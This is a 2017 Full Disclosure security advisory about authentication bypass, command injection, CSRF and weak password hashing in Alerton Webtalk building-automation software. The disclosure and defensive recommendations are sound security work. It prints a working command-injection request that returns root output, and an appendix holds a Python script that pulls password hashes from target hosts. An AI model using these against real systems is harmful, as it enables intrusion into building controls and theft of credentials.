Message-ID: <CAOAQt7UC1n5yQXun=JM7Pe41BPdTDT8iBp5_J3BYi+Sn1TLR7w@mail.gmail.com>
Date: Wed, 26 Apr 2017 10:32:01 -0700
From: David Tomaschik via Fulldisclosure <fulldisclosure@...lists.org>
To: fulldisclosure@...lists.org
Subject: [FD] Security Issues in Alerton Webtalk (Auth Bypass, RCE)

Security Issues in Alerton Webtalk
==================================

Introduction
------------

Vulnerabilities were identified in the Alerton Webtalk Software supplied by
Alerton.  This software is used for the management of building automation
systems.  These were discovered during a black box assessment and therefore
the
vulnerability list should not be considered exhaustive.  Alerton has
responded
that Webtalk is EOL and past the end of its support period.  Customers
should
move to newer products available from Alerton.  Thanks to Alerton for prompt
replies in communicating with us about these issues.

Versions 2.5 and 3.3 were both confirmed to be affected by these issues.

Webtalk-01 - Password Hashes Accessible to Unauthenticated Users
----------------------------------------------------------------

Severity: **High**

Password hashes for all of the users configured in Alerton Webtalk are
accessible via a file in the document root of the ‘webtalk’ user.  The
location
of this file is configuration dependent, however the configuration file is
accessible as well (at a static location, /~webtalk/webtalk.ini).  The
password
database is a sqlite3 database whose name is based on the bacnet rep and job
entries from the ini file.

A python proof of concept to reproduce this issue is in an appendix.

Recommendation: Do not store sensitive data within areas being served by the
webserver.

Webtalk-02 - Command Injection for Authenticated Webtalk Users
--------------------------------------------------------------

Severity: **High**

Any user granted the “configure webtalk” permission can execute commands as
the
root user on the underlying server.  There appears to be some effort of
filtering command strings (such as rejecting commands containing pipes and
redirection operators) but this is inadequate.  Using this vulnerability, an
attacker can add an SSH key to the root user’s authorized_keys file.

GET
/~webtalk/WtStatus.psp?c=update&updateopts=&updateuri=%22%24%28id%29%22&update=True
HTTP/1.1
Host: test-host
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101
Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: NID=...; _SID_=...; OGPC=...:
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Mon, 23 Jan 2017 20:34:26 GMT
Server: Apache
cache-control: no-cache
Set-Cookie: _SID_=...; Path=/;
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2801

...
uid=0(root) gid=500(webtalk) groups=500(webtalk)
...


Recommendation: User input should be avoided to shell commands.  If this is
not
possible, shell commands should be properly escaped.  Consider using one of
the
functions from the subprocess module without the shell=True parameter.

Webtalk-03 - Cross-Site Request Forgery
---------------------------------------

Severity: **High**

The entire Webtalk administrative interface lacks any controls against
Cross-Site Request Forgery.  This allows an attacker to execute
administrative
changes without access to valid credentials.  Combined with the above
vulnerability, this allows an attacker to gain root access without any
credentials.

Recommendation: Implement CSRF tokens on all state-changing actions.

Webtalk-04 - Insecure Credential Hashing
----------------------------------------

Severity: **Moderate**

Password hashes in the userprofile.db database are hashed by concatenating
the
password with the username (e.g., PASSUSER) and performing a plain MD5
hash.  No
salts or iterative hashing is performed.  This does not follow password
hashing
best practices and makes for highly practical offline attacks.

Recommendation: Use scrypt, bcrypt, or argon2 for storing password hashes.

Webtalk-05 - Login Flow Defeats Password Hashing
------------------------------------------------

Severity: **Moderate**

Password hashing is performed on the client side, allowing for the replay of
password hashes from Webtalk-01.  While this only works on the mobile login
interface (“PDA” interface, /~webtalk/pda/pda_login.psp), the resulting
session
is able to access all resources and is functionally equivalent to a login
through the Java-based login flow.

Recommendation: Perform hashing on the server side and use TLS to protect
secrets
in transit.


Timeline
--------

2017/01/?? - Issues Discovered
2017/01/26 - Issues Reported to security@...eywell.com
2017/01/30 - Initial response from Alerton confirming receipt.
2017/02/04 - Alerton reports Webtalk is EOL and issues will not be fixed.
2017/04/26 - This disclosure

Discovery
---------

These issues were discovered by David Tomaschik of the Google ISA
Assessments
team.

Appendix A: Script to Extract Hashes
------------------------------------

```
import requests
import sys
import ConfigParser
import StringIO
import sqlite3
import tempfile
import os


def get_webtalk_ini(base_url):
    """Get the webtalk.ini file and parse it."""
    url = '%s/~webtalk/webtalk.ini' % base_url
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get webtalk.ini: %s', url)
    buf = StringIO.StringIO(r.text)
    parser = ConfigParser.RawConfigParser()
    parser.readfp(buf)
    return parser


def get_db_path(base_url, config):
    rep = config.get('bacnet', 'rep')
    job = config.get('bacnet', 'job')
    url = '%s/~webtalk/bts/%s/%s/userprofile.db'
    return url % (base_url, rep, job)


def load_db(url):
    """Load and read the db."""
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get %s.' % url)
    tmpfd, tmpname = tempfile.mkstemp(suffix='.db')
    tmpf = os.fdopen(tmpfd, 'w')
    tmpf.write(r.content)
    tmpf.close()
    con = sqlite3.connect(tmpname)
    cur = con.cursor()
    cur.execute("SELECT UserID, UserPassword FROM tblPassword")
    results = cur.fetchall()
    con.close()
    os.unlink(tmpname)
    return results


def users_for_server(base_url):
    if '://' not in base_url:
        base_url = 'http://%s' % base_url
    ini = get_webtalk_ini(base_url)
    db_path = get_db_path(base_url, ini)
    return load_db(db_path)


if __name__ == '__main__':
    for host in sys.argv[1:]:
        try:
            users = users_for_server(host)
        except Exception as ex:
            sys.stderr.write('%s\n' % str(ex))
            continue
        for u in users:
            print '%s:%s' % (u[0], u[1])
```


-- 
David Tomaschik
Security Engineer
ISA Assessments

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